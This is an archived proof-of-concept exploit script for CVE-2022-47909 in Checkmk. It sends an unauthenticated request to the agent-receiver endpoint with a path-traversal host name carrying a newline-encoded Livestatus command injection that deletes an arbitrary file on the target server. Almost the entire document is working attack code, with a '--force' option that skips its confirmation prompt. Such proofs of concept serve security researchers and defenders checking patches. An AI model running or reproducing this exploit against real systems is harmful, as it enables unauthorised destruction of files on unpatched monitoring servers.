4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
# Exploit Title: CheckMK - Unauthenticated Arbitrary File Deletion
# Date: 27-03-2023
# Exploit Author: Jacob Ebben
# Version: Checkmk <= 2.1.0p11, Checkmk <= 2.0.0p28, and all versions of Checkmk 1.6.0 (EOL)
# Tested on: CheckMK 2.1.0p10 - Official CheckMK Docker Image
# CVE: CVE-2022-47909

#!/usr/bin/env python3

import argparse
import requests
import urllib3
import string
import time
from termcolor import colored
from random import choice

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def print_message(message, type):
    if type == 'SUCCESS':
        print('[' + colored('SUCCESS', 'green') +  '] ' + message)
    elif type == 'INFO':
        print('[' + colored('INFO', 'blue') +  '] ' + message)
    elif type == 'WARNING':
        print('[' + colored('WARNING', 'yellow') +  '] ' + message)
    elif type == 'ALERT':
        print('[' + colored('ALERT', 'yellow') +  '] ' + message)
    elif type == 'ERROR':
        print('[' + colored('ERROR', 'red') +  '] ' + message)


class POC:
    def __init__(self, target, port, filename, username, proxy):
        self.exploit_url = f"https://{target}:{port}/cmk/agent-receiver/register_with_hostname"
        self.filename = filename
        self.username = username
        self.password = self._generate_random_password(16)
        self.proxies = self._get_proxies(proxy) if proxy else {}

        self.session = requests.Session()


    def confirm(self):
        confirmation_message = f"Are you sure you wish to delete {self.filename}? (Y/n) "
        confirmation_input = input('[' + colored('ALERT', 'yellow') +  '] ' + confirmation_message)
        return confirmation_input == "Y"


    def exploit(self):
        start_message = f"Accessing \"{self.exploit_url}\" and sending payload to delete \"{self.filename}\" ..."
        print_message(start_message, "INFO")

        json = {
            "uuid": self._generate_random_uuid(),
            "host_name": self._get_host_name_payload(self.filename)
        }

        result = self.session.post(
            self.exploit_url,
            auth=(self.username, self.password), 
            json=json, 
            proxies=self.proxies, 
            verify=False
        )

        ending_message = f"If the system is vulnerable, then \"{self.filename}\" should be deleted!"
        print_message(ending_message, "SUCCESS")


    def _get_host_name_payload(self, filename):
        return f"../../../../ajax_graph_images.py?host={self._random_string(8)}&force_authuser={self._get_livestatus_query_injection(filename)}"

    def _get_livestatus_query_injection(self, filename):
        return "foo%0aKeepAlive:%20on%0a%0aCOMMAND%20[" + \
                str(int(time.time())) + \
                "]%20PROCESS_FILE%3b" + \
                filename + \
                "%3b1%0a%0aGET%20notexisting"

    def _random_string(self, length=16):
        return ''.join(choice(f"{string.ascii_letters}") for i in range(length))

    def _generate_random_password(self, length):
        return self._random_string(length)

    def _random_hex_string(self, length=8):
        return ''.join(choice("0123456789abcdef") for i in range(length))

    def _generate_random_uuid(self):
        return f"{self._random_hex_string(8)}-" + \
               f"{self._random_hex_string(4)}-" + \
               f"{self._random_hex_string(4)}-" + \
               f"{self._random_hex_string(4)}-" + \
               f"{self._random_hex_string(12)}"

    def _generate_random_hash(self):
        return self._random_hex_string(64)

    def _generate_random_cookie(self, username):
        return f"{username}:" + \
               f"{self._generate_random_uuid()}:" + \
               f"{self._generate_random_hash()}"

    def _get_normalized_url(self, url):
        if url[-1] != '/':
            url += '/'
        if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':
            url = "http://" + url
        return url

    def _get_proxies(self, proxy_url):
        return {"https": self._get_normalized_url(proxy_url)}


def main():
    parser = argparse.ArgumentParser(description="CheckMK - Unauthenticated Arbitrary File Deletion")

    parser.add_argument('-t', '--target', required=True, type=str, help="ip or vhost of the CheckMK agent_receiver endpoint (Example: \"127.0.0.1\" or \"vulnerable.site\")"),
    parser.add_argument('-f', '--filename', required=True, type=str, help="full path of filename that the CheckMK service has write permissions on"),
    parser.add_argument('-u', '--username', default="automation", type=str, help='any valid username (Default: automation)'),
    parser.add_argument('-p', '--port', default=8000, type=int, help='port of the agent_receiver endpoint (Default: 8000)')
    parser.add_argument('-x','--proxy', default=None, type=str, help='http proxy address (Example: http://127.0.0.1:8080/)')
    parser.add_argument("--force", action='store_true', help="skip confirmation request")

    args = parser.parse_args()

    exploit = POC(args.target, args.port, args.filename, args.username, args.proxy)
    if args.force or exploit.confirm():
        exploit.exploit()
    else:
        print_message("Exiting without exploitation ...", "INFO")


if __name__ == "__main__":
    main()